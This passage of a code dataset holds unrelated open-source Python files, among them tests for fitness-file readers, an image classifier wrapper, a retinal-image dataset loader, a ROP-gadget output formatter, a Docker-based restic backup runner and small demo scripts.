dicData\n\n\ndef getLineFromTextFile(filepath):\n try:\n ofile = open(filepath, 'r', encoding = 'utf-8') \n data = ofile.read()\n lines = data.split('\\n')\n return lines\n\n except FileNotFoundError:\n print(\"file not found\") \n except Exception as e:\n print(e) ","repo_name":"andytrandaoanh/dict_organzer","sub_path":"system_handler.py","file_name":"system_handler.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20141147028","text":"# _*_ coding:utf-8 _*_\n# __Author__: zizle\nfrom PyQt5 import QtWidgets\nfrom chartsView.bag import lineChart, lineStackChart, customerAxis, barStackChart\n\n\nclass Surface(QtWidgets.QWidget):\n def __init__(self):\n super(Surface, self).__init__()\n layout = QtWidgets.QGridLayout()\n # 折线图\n line = lineChart.LineChart()\n # 折线堆叠鼠标交互\n line_stack = lineStackChart.LineStackChart()\n # 自定义轴\n customer_xaxis = customerAxis.CustomerAxis()\n # 自定义上x轴\n customer_top_xaxis = customerAxis.TopXAxis()\n # 自定义添加右侧Y轴\n customer_right_yaxis = customerAxis.YAxis()\n # 柱状图堆叠鼠标交互\n bar_stack = barStackChart.BarStackChart()\n layout.addWidget(line, 0, 0)\n layout.addWidget(line_stack, 1, 2)\n layout.addWidget(customer_xaxis, 0, 1)\n layout.addWidget(customer_top_xaxis, 1, 1)\n layout.addWidget(customer_right_yaxis, 0, 2)\n layout.addWidget(bar_stack, 1, 0)\n self.resize(1360, 768)\n self.setLayout(layout)\n\n\nif __name__ == '__main__':\n import sys\n app = QtWidgets.QApplication(sys.argv)\n surface = Surface()\n surface.show()\n sys.exit(app.exec_())\n","repo_name":"zizle/PyQt5_Demo","sub_path":"chartsView/UIFace.py","file_name":"UIFace.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"44976370366","text":"import datetime\nimport io\nimport math\nimport os\nimport unittest\n\nfrom numpy.testing import assert_array_equal, assert_allclose\nimport pandas as pd\nfrom pandas.testing import assert_frame_equal, assert_series_equal\n\nfrom heartandsole import Activity\n\n\n# Expected dtypes for elements in the 'summary' Series.\nSUMMARY_TYPE_CHECKERS = {\n 'timestamp_start': lambda x: isinstance(x, pd.Timestamp), # check awareness\n 'time_elapsed': pd.api.types.is_float,\n 'time_timer': pd.api.types.is_float,\n 'distance_total': pd.api.types.is_float,\n 'speed_avg': pd.api.types.is_float,\n 'speed_max': pd.api.types.is_float,\n 'elevation_gain': pd.api.types.is_integer,\n 'elevation_loss': pd.api.types.is_integer,\n 'heartrate_avg': pd.api.types.is_integer,\n 'heartrate_max': pd.api.types.is_integer,\n 'cadence_avg': pd.api.types.is_integer,\n 'cadence_max': pd.api.types.is_integer,\n 'calories': pd.api.types.is_integer,\n\n # These are found in TCX/GPX files only.\n 'title': lambda x: isinstance(x, str),\n 'sport': lambda x: isinstance(x, str),\n 'device': lambda x: isinstance(x, str),\n 'unit_id': pd.api.types.is_integer,\n 'product_id': pd.api.types.is_integer,\n}\n\n# Expected dtypes for columns in the 'lap' DataFrame.\nLAP_DTYPE_CHECKERS = {\n 'time_timer': pd.api.types.is_float_dtype,\n 'timestamp_start': pd.api.types.is_datetime64tz_dtype,\n 'timestamp_end': pd.api.types.is_datetime64tz_dtype,\n 'distance_total': pd.api.types.is_float_dtype,\n 'speed_max': pd.api.types.is_float_dtype,\n 'speed_avg': pd.api.types.is_float_dtype,\n 'cadence_avg': pd.api.types.is_integer_dtype,\n 'cadence_max': pd.api.types.is_integer_dtype,\n 'heartrate_avg': pd.api.types.is_integer_dtype,\n 'heartrate_max': pd.api.types.is_integer_dtype,\n 'trigger_method': pd.api.types.is_string_dtype,\n 'calories': pd.api.types.is_integer_dtype,\n\n # TCX only\n 'intensity': pd.api.types.is_string_dtype,\n}\n\n# Expected dtypes for columns in the 'records' DataFrame.\nRECORD_DTYPE_CHECKERS = {\n # Few dtypes for datetime cols in pandas\n # 'timestamp': pd.api.types.is_datetime64_any_dtype,\n # 'timestamp': pd.api.types.is_datetime64_ns_dtype,\n # 'timestamp': pd.api.types.is_datetime64_dtype,\n 'timestamp': pd.api.types.is_datetime64tz_dtype,\n 'time': pd.api.types.is_integer_dtype,\n 'lat': pd.api.types.is_float_dtype,\n 'lon': pd.api.types.is_float_dtype,\n 'elevation': pd.api.types.is_float_dtype,\n 'cadence': pd.api.types.is_integer_dtype,\n 'heartrate': pd.api.types.is_integer_dtype,\n 'speed': pd.api.types.is_float_dtype,\n 'distance': pd.api.types.is_float_dtype,\n}\n\n\nclass FileReaderTestMixin(object):\n \n def setUp(self):\n # self.rdr = self.READER_CLASS(self.TESTDATA_FILENAME)\n self.act = self.READER(self.TESTDATA_FILENAME)\n\n def assertHasAttr(self, obj, attr_name):\n self.assertTrue(\n hasattr(obj, attr_name),\n msg=f'{obj} does not have attr {attr_name}'\n )\n\n def test_summary(self):\n self.assertHasAttr(self.act, 'summary')\n for row_name in self.EXPECTED_SUMMARY_ROWS:\n self.assertIn(row_name, self.act.summary.index)\n self.assertTrue(\n SUMMARY_TYPE_CHECKERS[row_name](self.act.summary[row_name]),\n msg=f'{row_name}: {type(self.act.summary[row_name])}'\n )\n\n def test_laps(self):\n self.assertHasAttr(self.act, 'laps')\n for col_name in self.EXPECTED_LAP_COLS:\n self.assertIn(col_name, self.act.laps.columns)\n self.assertTrue(\n LAP_DTYPE_CHECKERS[col_name](self.act.laps[col_name]),\n msg=f'{col_name}: {self.act.laps[col_name].dtype}'\n )\n\n def test_records(self):\n self.assertHasAttr(self.act, 'records')\n for col_name in self.EXPECTED_RECORD_COLS:\n self.assertIn(col_name, self.act.records.columns)\n self.assertTrue(\n RECORD_DTYPE_CHECKERS[col_name](self.act.records[col_name]),\n msg=f'{col_name}: {self.act.records[col_name].dtype}'\n )\n\n\nclass TestGpx(FileReaderTestMixin, unittest.TestCase):\n TESTDATA_FILENAME = os.path.join(os.path.dirname(__file__), 'testdata.gpx')\n READER = Activity.from_gpx\n EXPECTED_SUMMARY_ROWS = ['timestamp_start', 'title', 'sport']\n EXPECTED_LAP_COLS = []\n EXPECTED_RECORD_COLS = ['timestamp', 'time', 'lat', 'lon', 'elevation',\n 'cadence', 'heartrate']\n\n\nclass TestGpxCourse(FileReaderTestMixin, unittest.TestCase):\n TESTDATA_FILENAME = os.path.join(os.path.dirname(__file__), 'testcourse.gpx')\n READER = Activity.from_gpx\n EXPECTED_SUMMARY_ROWS = ['title']\n EXPECTED_LAP_COLS = []\n EXPECTED_RECORD_COLS = ['timestamp', 'time', 'lat', 'lon', 'elevation']\n\n\nclass TestTcx(FileReaderTestMixin, unittest.TestCase):\n TESTDATA_FILENAME = os.path.join(os.path.dirname(__file__), 'testdata.tcx')\n READER = Activity.from_tcx\n EXPECTED_SUMMARY_ROWS = ['sport', 'device', 'unit_id', 'product_id']\n EXPECTED_LAP_COLS = ['time_timer', 'timestamp_start', 'distance_total', \n 'speed_max', 'speed_avg', 'calories', 'cadence_avg', 'cadence_max', \n 'heartrate_avg', 'heartrate_max', 'intensity', 'trigger_method']\n EXPECTED_RECORD_COLS = ['timestamp', 'time', 'lat', 'lon', 'elevation',\n 'cadence', 'heartrate', 'speed', 'distance']\n\n # @classmethod\n # def setUpClass(cls):\n # # This file contains data for all available fields.\n # cls.tcx_full = TcxFileReader('activity_files/activity_4257833732.tcx')\n\n # # This file contains no elevation, speed, or cadence data.\n # cls.tcx_sparse = TcxFileReader('activity_files/20190425_110505_Running.tcx')\n\n\nclass TestTcxCourse(FileReaderTestMixin, unittest.TestCase):\n TESTDATA_FILENAME = os.path.join(os.path.dirname(__file__), 'testcourse.tcx')\n READER = Activity.from_tcx\n EXPECTED_SUMMARY_ROWS = []\n EXPECTED_LAP_COLS = ['time_timer', 'distance_total']\n EXPECTED_RECORD_COLS = ['timestamp', 'time', 'lat', 'lon', 'elevation',\n 'distance']\n\n\nclass TestFit(FileReaderTestMixin, unittest.TestCase):\n TESTDATA_FILENAME = os.path.join(os.path.dirname(__file__), 'testdata.fit')\n READER = Activity.from_fit\n EXPECTED_SUMMARY_ROWS = ['timestamp_start', 'time_elapsed', 'time_timer',\n 'distance_total', 'calories', 'speed_avg', 'speed_max', 'elevation_gain',\n 'elevation_loss', 'heartrate_avg', 'heartrate_max', 'cadence_avg',\n 'cadence_max', 'sport']\n EXPECTED_LAP_COLS = ['timestamp_start', 'distance_total', 'speed_max',\n 'speed_avg', 'calories', 'cadence_avg', 'cadence_max', 'heartrate_avg', \n 'trigger_method']\n EXPECTED_RECORD_COLS = ['timestamp', 'time', 'lat', 'lon', 'elevation',\n 'cadence', 'heartrate']\n\n # @classmethod\n # def setUpClass(cls):\n # # This file does not contain elevation or running dynamics data.\n # cls.fit_wahoo = FitFileReader(\n # 'activity_files/2019-05-11-144658-UBERDROID6944-216-1.fit')\n\n # # This file does not contain elevation or running dynamics data.\n # cls.fit_garmin = FitFileReader('activity_files/3981100861.fit')\n\n\nclass TestFitCourse(FileReaderTestMixin, unittest.TestCase):\n TESTDATA_FILENAME = os.path.join(os.path.dirname(__file__), 'testcourse.fit')\n READER = Activity.from_fit\n EXPECTED_SUMMARY_ROWS = []\n EXPECTED_LAP_COLS = ['timestamp_start', 'timestamp_end']\n EXPECTED_RECORD_COLS = ['timestamp', 'time', 'lat', 'lon', 'elevation', 'distance']\n\n\nclass TestCompare(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.fit = Activity.from_fit(TestFit.TESTDATA_FILENAME)\n cls.tcx = Activity.from_tcx(TestTcx.TESTDATA_FILENAME)\n cls.gpx = Activity.from_gpx(TestGpx.TESTDATA_FILENAME)\n\n # Drop the elevation column from the .tcx DataFrame so we can\n # compare it to the .fit DataFrame, which has no file elevations.\n # cls.tcx.data.drop(columns=['elevation'], inplace=True)\n\n def test_records(self):\n \"\"\"Checks that dataframes are identical.\n\n Structure, indexes, columns, dtypes, and values.\n \"\"\"\n # print(self.fit.records)\n # print(self.tcx.records)\n\n # NOT elevation - garmin corrects it in tcx files\n expected_identical_fields = ['timestamp', 'lat', 'lon', 'distance', \n 'heartrate', 'speed', 'cadence', 'time']\n assert_frame_equal(\n self.fit.records[expected_identical_fields],\n self.tcx.records_unique[expected_identical_fields],\n check_like=True, # ignore row/col order\n check_dtype=False, # checked in individual TestCases\n )\n\n def test_summary(self):\n self.assertEqual(\n self.fit.summary['sport'].lower(),\n self.tcx.summary['sport'].lower()\n )\n self.assertEqual(\n self.gpx.summary['sport'].lower(),\n self.tcx.summary['sport'].lower()\n )\n\n def test_laps(self):\n \"\"\"Checks that dataframes are identical.\n\n Structure, indexes, columns, dtypes, and values.\n \"\"\"\n # print(self.fit.laps)\n # print(self.tcx.laps)\n\n # NOT elevation - garmin corrects it in tcx files\n expected_identical_fields = ['timestamp_start', 'time_timer', \n 'distance_total', 'speed_max', 'speed_avg', 'calories', 'heartrate_avg',\n 'heartrate_max', 'cadence_avg', 'cadence_max']\n assert_frame_equal(\n self.fit.laps[expected_identical_fields],\n self.tcx.laps[expected_identical_fields],\n check_dtype=False, # checked in individual TestCases\n )\n\n\n@unittest.skip('Need to create a test CSV file.')\nclass TestCsv(unittest.TestCase):\n\n TESTDATA_FILENAME = os.path.join(os.path.dirname(__file__), 'testdata.csv')\n\n @classmethod\n def setUpClass(cls):\n cls.act = Activity.from_csv(cls.TESTDATA_FILENAME)\n\n def test_1(self):\n pass","repo_name":"aaron-schroeder/heartandsole","sub_path":"tests/test_filereaders.py","file_name":"test_filereaders.py","file_ext":"py","file_size_in_byte":9402,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"} +{"seq_id":"74274410021","text":"import gradio as gr\nfrom transformers import pipeline\nfrom PIL import Image\nimport os\nimport torch\n\n\nclass CafePredictor:\n def __init__(self):\n device = 0 if torch.cuda.is_available() else -1\n self.pipe_aesthetic = pipeline(\n \"image-classification\", \"cafeai/cafe_aesthetic\", device=device\n )\n self.pipe_style = pipeline(\n \"image-classification\", \"cafeai/cafe_style\", device=device\n )\n self.pipe_waifu = pipeline(\n \"image-classification\", \"cafeai/cafe_waifu\", device=device\n )\n\n def _aesthetic(self, input_img):\n data = self.pipe_aesthetic(input_img, top_k=2)\n final = {}\n for d in data:\n final[d[\"label\"]] = d[\"score\"]\n return final\n\n def _style(self, input_img):\n data = self.pipe_style(input_img, top_k=5)\n final = {}\n for d in data:\n final[d[\"label\"]] = d[\"score\"]\n return final\n\n def _waifu(self, input_img):\n data = self.pipe_waifu(input_img, top_k=5)\n final = {}\n for d in data:\n final[d[\"label\"]] = d[\"score\"]\n return final\n\n def get_metrics(self, input_img):\n return {\n \"aesthetic\": self._aesthetic(input_img),\n \"style\": self._style(input_img),\n \"waifu\": self._waifu(input_img),\n }\n\n def get_string_metrics(self, input_img):\n \"\"\"返回字符串格式的预测\n\n Returns:\n dict: {\n \"aesthetic\": aesthetic | not_aesthetic,\n \"style\": anime | other | 3d | manga_like | real_life,\n \"waifu\": waifu | not_waifu,\n }\n\n \"\"\"\n m = self.get_metrics(input_img)\n aes = m[\"aesthetic\"]\n aes_str = max(aes, key=aes.get)\n style = m[\"style\"]\n style_str = max(style, key=style.get)\n waifu = m[\"waifu\"]\n waifu_str = max(waifu, key=waifu.get)\n\n return_dict = {\n \"cafe_aesthetic\": aes_str,\n \"cafe_style\": style_str,\n \"cafe_waifu\": waifu_str,\n }\n\n return return_dict\n\n def get_style_string(self, input_img):\n styule = self._style(input_img)\n return max(styule, key=styule.get)\n\n def demo(self):\n demo_aesthetic = gr.Interface(\n fn=self._aesthetic,\n inputs=gr.Image(type=\"pil\"),\n outputs=gr.Label(label=\"aesthetic\"),\n live=True,\n )\n demo_style = gr.Interface(\n fn=self._style,\n inputs=gr.Image(type=\"pil\"),\n outputs=gr.Label(label=\"style\"),\n live=True,\n )\n demo_waifu = gr.Interface(\n fn=self._waifu,\n inputs=gr.Image(type=\"pil\"),\n outputs=gr.Label(label=\"waifu\"),\n live=True,\n )\n parallel_interface = gr.Parallel(demo_aesthetic, demo_style, demo_waifu)\n return parallel_interface\n\n\nif __name__ == \"__main__\":\n predictor = CafePredictor()\n folder_path = input(\"input folder path:\")\n while True:\n filename = input(\"input filename:\")\n img = Image.open(os.path.join(folder_path, filename))\n m = predictor.get_metrics(img)\n print(m)\n","repo_name":"trojblue/twitter-suite","sub_path":"twitter_suite/metrics/cafe.py","file_name":"cafe.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71756451622","text":"filename = '_32387ba40b36359a38625cbb397eee65_QuickSort.txt'\n\n\ndef prepare_array_of_items_from_file(filename):\n array_from_file = []\n\n f = open(filename, 'r')\n for line in f:\n array_from_file.append(int(line[:-1]))\n f.close()\n\n return array_from_file\n\n\ndef compute_number_of_comporisons_of_quick_sort(arr, l, r):\n if l < r:\n pi = partition(arr, l, r)\n compute_number_of_comporisons_of_quick_sort(arr, l, pi - 1)\n compute_number_of_comporisons_of_quick_sort(arr, pi + 1, r)\n\n\ndef partition(arr, l, r):\n def is_median(a, b, c):\n if (a <= b <= c) or (a >= b >= c):\n return True\n return False\n\n global number_of_comparisons # bad practice\n\n median_index = l\n if (r - l) > 1:\n middle_point_index = (r + l) // 2\n\n if is_median(arr[l], arr[middle_point_index], arr[r]):\n median_index = middle_point_index\n elif is_median(arr[l], arr[r], arr[middle_point_index]):\n median_index = r\n\n # arr[l], arr[r] = arr[r], arr[l] # Right element as a pivot\n arr[l], arr[median_index] = arr[median_index], arr[l] # median element as a pivot\n # Here we push off the most left element of an array\n pivot = arr[l]\n i = l + 1\n\n for j in range(l + 1, r + 1):\n # number_of_comparisons += 1\n if arr[j] < pivot:\n arr[j], arr[i] = arr[i], arr[j]\n i += 1\n\n if l < r:\n number_of_comparisons += r - l\n arr[l], arr[i - 1] = arr[i - 1], arr[l]\n return i - 1\n\n\ngiven_array = prepare_array_of_items_from_file(filename)\n\nnumber_of_comparisons = 0\ncompute_number_of_comporisons_of_quick_sort(given_array, 0, len(given_array) - 1)\nprint(number_of_comparisons)\n","repo_name":"booomerang/python-algorithms","sub_path":"standford_divide_and_conquer/compute_total_number_of_comparisons.py","file_name":"compute_total_number_of_comparisons.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"72899675941","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# **************************************\n# @Author : Qiqi Xiao\n# @Email : xiaoqiqi177@gmail.com\n# @File : dataset.py\n# **************************************\nimport numpy as np\nfrom torchvision import datasets, models, transforms\nimport torchvision\nfrom torch.utils.data import DataLoader, Dataset\nfrom PIL import Image\n\nclass IDRIDDataset(Dataset):\n\n def __init__(self, image_paths, mask_paths=None, class_id=0, transform=None):\n \"\"\"\n Args:\n image_paths: paths to the original images []\n mask_paths: paths to the mask images, [[]]\n class_id: id of lesions, 0:ex, 1:he, 2:ma, 3:se\n \"\"\"\n assert len(image_paths) == len(mask_paths)\n self.image_paths = []\n self.mask_paths = []\n self.masks = []\n self.images = []\n if self.mask_paths is not None:\n for image_path, mask_path4 in zip(image_paths, mask_paths):\n mask_path = mask_path4[class_id]\n if mask_path is None:\n continue\n else:\n self.image_paths.append(image_path)\n self.mask_paths.append(mask_path)\n self.images.append(self.pil_loader(image_path))\n self.masks.append(self.pil_loader(mask_path))\n \n self.class_id = class_id\n self.transform = transform\n\n def __len__(self):\n return len(self.image_paths)\n\n def pil_loader(self, image_path):\n with open(image_path, 'rb') as f:\n img = Image.open(f)\n h, w = img.size\n #return img.resize((h//2, w//2)).convert('RGB')\n return img.convert('RGB')\n\n def __getitem__(self, idx):\n info = [self.images[idx]]\n if self.mask_paths:\n info.append(self.masks[idx])\n if self.transform:\n info = self.transform(info)\n\n inputs = np.array(info[0])\n if inputs.shape[2] == 3:\n inputs = np.transpose(np.array(info[0]), (2, 0, 1))\n inputs = inputs / 255.\n \n if len(info) > 1:\n mask = np.array(np.array(info[1]))[:, :, 0] / 255.0\n empty_mask = 1 - mask\n masks = np.array([empty_mask, mask])\n\n return inputs, masks\n else:\n return inputs\n\nimport os\ndef get_paths(imgs, phase, ratio):\n imgs.sort() \n mask_paths = []\n train_number = int(len(imgs) * ratio)\n if phase == 'train':\n image_paths = imgs[:train_number]\n elif phase == 'eval':\n image_paths = imgs[train_number:]\n else:\n image_paths = imgs\n mask_path = os.path.join('../../data/raw/IDRiD', '2. All Segmentation Groundtruths', 'a. Training Set')\n lesions = ['3. Hard Exudates', '2. Haemorrhages', '1. Microaneurysms', '4. Soft Exudates', 'Mask']\n lesion_abbvs = ['EX', 'HE', 'MA', 'SE', 'MASK']\n for image_path in image_paths:\n paths = []\n name = os.path.split(image_path)[1].split('.')[0]\n for lesion, lesion_abbv in zip(lesions, lesion_abbvs):\n candidate_path = os.path.join(mask_path, lesion, name+'_'+lesion_abbv+'.tif')\n if os.path.exists(candidate_path):\n paths.append(candidate_path)\n else:\n paths.append(None)\n mask_paths.append(paths)\n return image_paths, mask_paths\n\n\ndef pil_loader(image_path):\n with open(image_path, 'rb') as f:\n img = Image.open(f)\n h, w = img.size\n #return img.resize((h//2, w//2)).convert('RGB')\n return img.convert('RGB')\n\nif __name__ == '__main__':\n import glob\n imgs = glob.glob(os.path.join('../../data/raw/IDRiD', 'Images_CLAHE', 'a. Training Set', '*.jpg'))\n train_paths, train_mask_paths = get_paths(imgs, 'train', 0.8)\n # print('Train paths', train_paths)\n # print('Maks path', train_mask_paths)\n\n \n import torchvision.transforms as transforms\n transform = transforms.Compose([\n transforms.RandomRotation(10),\n transforms.RandomCrop(512),\n ])\n\n # dataset = IDRIDDataset(train_paths, train_mask_paths, 0)\n # loader = DataLoader(dataset, 2)\n\n # batch = next(iter(loader))\n # for img, mask in batch:\n # print('Image', img.shape)\n # print('Maks', mask.shape)\n \n img = train_paths[0]\n mask = train_mask_paths[0][0]\n\n img = pil_loader(img)\n mask = pil_loader(mask)\n\n np_mask = np.asarray(mask).astype('uint8')\n print(np_mask.shape)\n print('Unique', np.unique(np_mask))\n info = mask\n\n mask = transform(info)\n\n mask = np.array(np.array(mask))[:, :, 0] / 255.0\n empty_mask = 1 - mask\n masks = np.array([empty_mask, mask])\n # print(type(out[0]))\n # print(type(out[1]\n # ))\n\n\n print(masks.shape)","repo_name":"duylebkHCM/EyeDiseaseSegmentation","sub_path":"src/data/gan_dataset.py","file_name":"gan_dataset.py","file_ext":"py","file_size_in_byte":4821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35931705393","text":"import sys\nimport importlib\nfrom pathlib import Path\n\nimport lib.utils\n\n\nclass Format_RP:\n def __init__(self, args, parsed_data):\n self.badchars = args.badchars\n self.parsed_data = parsed_data\n self.auto_delete = args.auto_delete\n self.use_offsets = args.use_offsets\n\n parent_dir = Path(args.input_file).parent.absolute()\n self.parent_dir = parent_dir.joinpath(\"output\")\n\n self.config = lib.utils.read_config()\n\n config_line_plugins = self.config[\"DEFAULT\"][\"enabled_line_plugins\"].splitlines()\n self.enabled_line_plugins = [i for i in config_line_plugins if i]\n self.line_plugin_modules = []\n for enabled in self.enabled_line_plugins:\n self.line_plugin_modules.append(importlib.import_module(\"plugins.\" + enabled))\n\n config_post_plugins = self.config[\"DEFAULT\"][\"enabled_post_plugins\"].splitlines()\n self.enabled_post_plugins = [i for i in config_post_plugins if i]\n self.post_plugin_modules = []\n for enabled in self.enabled_post_plugins:\n self.post_plugin_modules.append(importlib.import_module(\"plugins.\" + enabled))\n\n self.format_files()\n\n def format_line(self, line, output_dir_path, binary_name, **kwargs):\n \"\"\"\n Formats a single line\n \"\"\"\n for plugin in self.line_plugin_modules:\n main = getattr(plugin, \"main\")\n line = main(\n line,\n badchars=self.badchars if self.badchars else None,\n output_dir_path=output_dir_path,\n binary_name=binary_name,\n use_offsets=kwargs[\"use_offsets\"],\n base_address=kwargs[\"base_address\"],\n auto_delete=kwargs[\"auto_delete\"],\n )\n return line\n\n def format_file(self, binary_data, encoding=\"utf-8\"):\n \"\"\"\n Formats a single file\n \"\"\"\n parent_dir = binary_data[\"output_path\"].parent.absolute()\n binary_name = binary_data[\"binary_path\"].name\n output_path = parent_dir.joinpath(binary_name + self.config[\"DEFAULT\"][\"formatted_name\"])\n master_path = parent_dir.joinpath(self.config[\"DEFAULT\"][\"master_name\"] + \".txt\")\n\n print(f\"Formatting {binary_name}, writing output to {output_path}\")\n\n lib.utils.delete_file(output_path, self.auto_delete)\n lib.utils.delete_file(master_path, self.auto_delete)\n\n for line in lib.utils.lazy_read(binary_data[\"output_path\"], encoding=encoding):\n line = self.format_line(\n line.strip(),\n parent_dir,\n binary_name,\n use_offsets=self.use_offsets,\n base_address=binary_data[\"base_address\"],\n auto_delete=self.auto_delete,\n )\n lib.utils.write_line(output_path, line)\n\n def format_files(self):\n \"\"\"\n Formats all files\n \"\"\"\n for binary_data in self.parsed_data:\n self.format_file(binary_data)\n\n for plugin in self.post_plugin_modules:\n main = getattr(plugin, \"main\")\n main(output_dir_path=self.parent_dir)\n","repo_name":"tjcim/crack_rop","sub_path":"lib/formatrp.py","file_name":"formatrp.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6822567065","text":"import logging\nimport os\n\nfrom restic_compose_backup import utils\n\nlogger = logging.getLogger(__name__)\n\n\ndef run(image: str = None, command: str = None, volumes: dict = None,\n environment: dict = None, labels: dict = None, source_container_id: str = None):\n logger.info(\"Starting backup container\")\n client = utils.docker_client()\n\n container = client.containers.run(\n image,\n command,\n labels=labels,\n # auto_remove=True, # We remove the container further down\n detach=True,\n environment=environment + ['BACKUP_PROCESS_CONTAINER=true'],\n volumes=volumes,\n network_mode=f'container:{source_container_id}', # Reuse original container's network stack.\n working_dir=os.getcwd(),\n tty=True,\n )\n\n logger.info(\"Backup process container: %s\", container.name)\n log_generator = container.logs(stdout=True, stderr=True, stream=True, follow=True)\n\n def readlines(stream):\n \"\"\"Read stream line by line\"\"\"\n while True:\n line = \"\"\n while True:\n try:\n # Make log streaming work for docker ce 17 and 18.\n # For some reason strings are returned instead if bytes.\n data = next(stream)\n if isinstance(data, bytes):\n line += data.decode()\n elif isinstance(data, str):\n line += data\n if line.endswith('\\n'):\n break\n except StopIteration:\n break\n if line:\n yield line.rstrip()\n else:\n break\n\n with open('backup.log', 'w') as fd:\n for line in readlines(log_generator):\n fd.write(line)\n fd.write('\\n')\n logger.info(line)\n\n container.wait()\n container.reload()\n logger.debug(\"Container ExitCode %s\", container.attrs['State']['ExitCode'])\n container.remove()\n\n return container.attrs['State']['ExitCode']\n","repo_name":"ZettaIO/restic-compose-backup","sub_path":"src/restic_compose_backup/backup_runner.py","file_name":"backup_runner.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"} +{"seq_id":"10194907117","text":"db = [('111', '2'), ('334', '1')] # Our vdot list\nVmiles = '156' # User miles\noutput = []\nx = 0\nfor miles in db:\n\tprint(miles)\n\tlist = []\n\t\"\"\"\n\tx is the math\n\t\"\"\"\n\tx = int(Vmiles) - int(miles[0])\n\tx = str(x)\n\tx = x.replace('-', '')\n\tprint(x)\n\tx = int(x)\n\tlist.insert(0, x)\n\tlist.insert(1, miles[1])\n\toutput.insert(x, list)\n\tx = x + 1\nprint(output)\nsortedOutput = sorted(output, key = lambda tup: tup[0])\nprint(sortedOutput)\nvdot = sortedOutput[0]\nprint(vdot[1])\n","repo_name":"JCTLearning/Project-Runner","sub_path":"Server/vdotExample.py","file_name":"vdotExample.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70503972900","text":"from reportlab.pdfgen import canvas\n\ndef hello(c, i):\n \"\"\" Escreve \"Hello World\" em um pdf \"\"\"\n\n c.drawString(100, 100, \"Hello World {}\".format(i))\n\nc = canvas.Canvas(\"hello_4pages.pdf\")\n\ni = 1\nwhile i < 5:\n hello(c, i)\n c.showPage() # Para o desenho na página corrente\n i += 1\n\nc.save() # gera o documento pdf","repo_name":"EmersonAires/ReportLab---estudo","sub_path":"second_pdf_reportlab.py","file_name":"second_pdf_reportlab.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"38936168962","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport os,cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n#matplotlib을 통해 보여줄 그래프의 크기를 직접 지정해 준것.\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 20, 10\n\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split\n\nimport tensorflow as tf\n\nfrom keras.utils import np_utils\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\nfrom keras.models import Sequential\nfrom keras.layers import *\nfrom keras.metrics import categorical_accuracy\nfrom keras.models import model_from_json\nfrom keras.optimizers import *\nfrom keras.layers import BatchNormalization\nfrom keras.optimizers import Adam , RMSprop\nfrom keras.callbacks import EarlyStopping ,ReduceLROnPlateau ,ModelCheckpoint\n\nimport os\ndata_path = 'Face&EmotionDetectUsingYolo/Input/CK+48'\nfile_list = os.listdir(data_path)\nfile_list.remove('.DS_Store')\nprint(\"file list:\",file_list)\n\n# Any results you write to the current directory are saved as output\n\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.model_selection import cross_val_score, cross_val_predict\nfrom sklearn.datasets import make_classification\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\n\n\n#디렉토리에서 이미지를 추출하기\n\ndata_dir_list = os.listdir(data_path)\n\nnum_epoch=10\n\nimg_data_list=[]\n\n\n#우리가 파일을 만든 순서가 아닌 컴퓨터가 지가 읽는 순서대로 파일을 불러옴.\nfor dataset in data_dir_list:\n if dataset in '.DS_Store':\n continue\n img_list=os.listdir(data_path+'/'+ dataset)\n print ('Loaded the images of dataset-'+'{}\\n'.format(dataset))\n for img in img_list:\n #이미지를 해당 경로에서 하나씩 읽어와서 (48,48)사이즈로 읽어와 img_data_list라는 array에 저장. \n input_img=cv2.imread(data_path + '/'+ dataset + '/'+ img )\n #input_img=cv2.cvtColor(input_img, cv2.COLOR_BGR2GRAY)\n input_img_resize=cv2.resize(input_img,(48,48))\n img_data_list.append(input_img_resize)\n \nimg_data = np.array(img_data_list)\nimg_data = img_data.astype('float32')\nimg_data = img_data/255 #normalization\nprint(img_data.shape)\n\n#데이터 라벨링\n\nnum_classes = 7\n\n#전체 이미지의 개수를 받아옴(981개)\nnum_of_samples = img_data.shape[0]\n\n#샘플 이미지의 개수만큼 데이터가 1인 numpy array를 생성. shape : (981,)\nlabels = np.ones((num_of_samples,),dtype='int64')\n\n# print(labels.shape)\nlabels[0:134]=0 #135 anger:0 으로 라벨링\nlabels[135:188]=1 #54 contempt:1 으로 라벨링\nlabels[189:365]=2 #177 disgust:2 으로 라벨링\nlabels[366:440]=3 #75 fear:3 으로 라벨링\nlabels[441:647]=4 #207 happy:4 으로 라벨링\nlabels[648:731]=5 #84 sadness:5 으로 라벨링\nlabels[732:980]=6 #249 surprise:6 으로 라벨링\n\n# 카테고리 리스트로 선언\nnames = 